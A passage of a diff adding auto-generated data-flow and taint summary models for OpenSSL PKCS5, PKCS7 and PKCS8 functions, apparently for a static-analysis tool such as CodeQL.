"dfc-generated"] + - ["", "", True, "PKCS5_pbe_set_ex", "(int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBKDF2_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_PBKDF2_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_scrypt_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_v2_scrypt_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_DIGEST_free", "(PKCS7_DIGEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_DIGEST_free", "(PKCS7_DIGEST *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENCRYPT_free", "(PKCS7_ENCRYPT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENCRYPT_free", "(PKCS7_ENCRYPT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENC_CONTENT_free", "(PKCS7_ENC_CONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENC_CONTENT_free", "(PKCS7_ENC_CONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENVELOPE_free", "(PKCS7_ENVELOPE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ENVELOPE_free", "(PKCS7_ENVELOPE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ISSUER_AND_SERIAL_digest", "(PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ISSUER_AND_SERIAL_free", "(PKCS7_ISSUER_AND_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_ISSUER_AND_SERIAL_free", "(PKCS7_ISSUER_AND_SERIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_free", "(PKCS7_RECIP_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_free", "(PKCS7_RECIP_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_get0_alg", "(PKCS7_RECIP_INFO *,X509_ALGOR **)", "", "Argument[*0].Field[**key_enc_algor]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_get0_alg", "(PKCS7_RECIP_INFO *,X509_ALGOR **)", "", "Argument[*0].Field[*key_enc_algor]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_RECIP_INFO_set", "(PKCS7_RECIP_INFO *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_SIGNED_free", "(PKCS7_SIGNED *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNED_free", "(PKCS7_SIGNED *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_free", "(PKCS7_SIGNER_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_free", "(PKCS7_SIGNER_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_get0_algs", "(PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_set", "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "Argument[*0].Field[**digest_alg].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_set", "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "Argument[*0].Field[**digest_alg].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_SIGNER_INFO_set", "(PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[2]", "Argument[*0].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_SIGN_ENVELOPE_free", "(PKCS7_SIGN_ENVELOPE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_SIGN_ENVELOPE_free", "(PKCS7_SIGN_ENVELOPE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_attrib_smimecap", "(PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_certificate", "(PKCS7 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_certificate", "(PKCS7 *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_crl", "(PKCS7 *,X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_crl", "(PKCS7 *,X509_CRL *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PKCS7_add_recipient", "(PKCS7 *,X509 *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_recipient", "(PKCS7 *,X509 *)", "", "Argument[1]", "ReturnValue[*].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_add_signature", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *)", "", "Argument[2]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_add_signer", "(PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[*0].Field[*ctx]", "Argument[*1].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_ctrl", "(PKCS7 *,int,long,char *)", "", "Argument[*0].Field[*detached]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS7_ctrl", "(PKCS7 *,int,long,char *)", "", "Argument[2]", "Argument[*0].Field[*detached]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[*2]", "Argument[*2].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[*2]", "ReturnValue[*].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[2]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataDecode", "(PKCS7 *,EVP_PKEY *,BIO *,X509 *)", "", "Argument[2]", "ReturnValue[*].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataInit", "(PKCS7 *,BIO *)", "", "Argument[1]", "ReturnValue[*].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataVerify", "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[*2].Field[**next_bio].Field[**next_bio]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataVerify", "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[*2].Field[**next_bio]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dataVerify", "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)", "", "Argument[0]", "Argument[*1].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS7_dup", "(const PKCS7 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_free", "(PKCS7 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_free", "(PKCS7 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_get0_signers", "(PKCS7 *,stack_st_X509 *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_get_octet_string", "(PKCS7 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS7_get_octet_string", "(PKCS7 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_print_ctx", "(BIO *,const PKCS7 *,int,const ASN1_PCTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_print_ctx", "(BIO *,const PKCS7 *,int,const ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[*2]", "Argument[*0].Field[*d].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set0_type_other", "(PKCS7 *,int,ASN1_TYPE *)", "", "Argument[2]", "Argument[*0].Field[*d].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1].Field[*num]", "Argument[*0].Field[**unauth_attr].Field[*num_alloc]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[*0].Field[**unauth_attr]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*0].Field[**unauth_attr]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1].Field[*num]", "Argument[*0].Field[**auth_attr].Field[*num_alloc]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[*0].Field[**auth_attr]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*0].Field[**auth_attr]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_signed_attributes", "(PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_type", "(PKCS7 *,int)", "", "Argument[1]", "Argument[*0].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_set_type", "(PKCS7 *,int)", "", "Argument[1]", "Argument[*0].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[*3].Field[*type]", "ReturnValue[*].Field[**digest_alg].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_add_signer", "(PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int)", "", "Argument[2]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS7_signatureVerify", "(BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *)", "", "Argument[*0].Field[**next_bio].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_signatureVerify", "(BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *)", "", "Argument[*0].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_simple_smimecap", "(stack_st_X509_ALGOR *,int,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "PKCS7_verify", "(PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS7_verify", "(PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int)", "", "Argument[3]", "Argument[*3].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_PRIV_KEY_INFO_free", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS8_PRIV_KEY_INFO_free", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS8_decrypt", "(const X509_SIG *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_decrypt", "(const X509_SIG *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS8_decrypt_ex", "(const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_decrypt_ex", "(const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS8_encrypt", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[*7]", "Argument[7]", "value", "df-generated"] + - ["", "", True, "PKCS8_encrypt", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_encrypt", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_encrypt_ex", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*7]", "Argument[7]", "value", "df-generated"] + - ["", "", True, "PKCS8_encrypt_ex", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_encrypt_ex", "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**algor].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_add1_attr", "(PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_add1_attr", "(PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS8_pkey_add1_attr_by_OBJ", "(PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0", "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PKCS8_pkey_get0_attrs", "(const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0].Field[**attributes]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_get0_attrs", "(const PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0].Field[*attributes]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**pkeyalg].Field[**algorithm]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[*5]", "Argument[*0].Field[**pkey].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**pkeyalg].Field[*algorithm]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**version].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[5]", "Argument[*0].Field[**pkey].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_pkey_set0", "(PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int)", "", "Argument[6]", "Argument[*0].Field[**pkey].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_set0_pbe", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "PKCS8_set0_pbe", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *)", "", "Argument[3]", "ReturnValue[*].Field[*algor]", "value", "dfc-generated"] + - ["", "", True, "PKCS8_set0_pbe_ex", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "PKCS8_set0_pbe_ex", "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*algor]", "value", "dfc-generated"] + - ["", "", True, "PKEY_USAGE_PERIOD_free", "(PKEY_USAGE_PERIOD *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKEY_USAGE_PERIOD_free", "(PKEY_USAGE_PERIOD *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICYINFO_free", "(POLICYINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICYINFO_free", 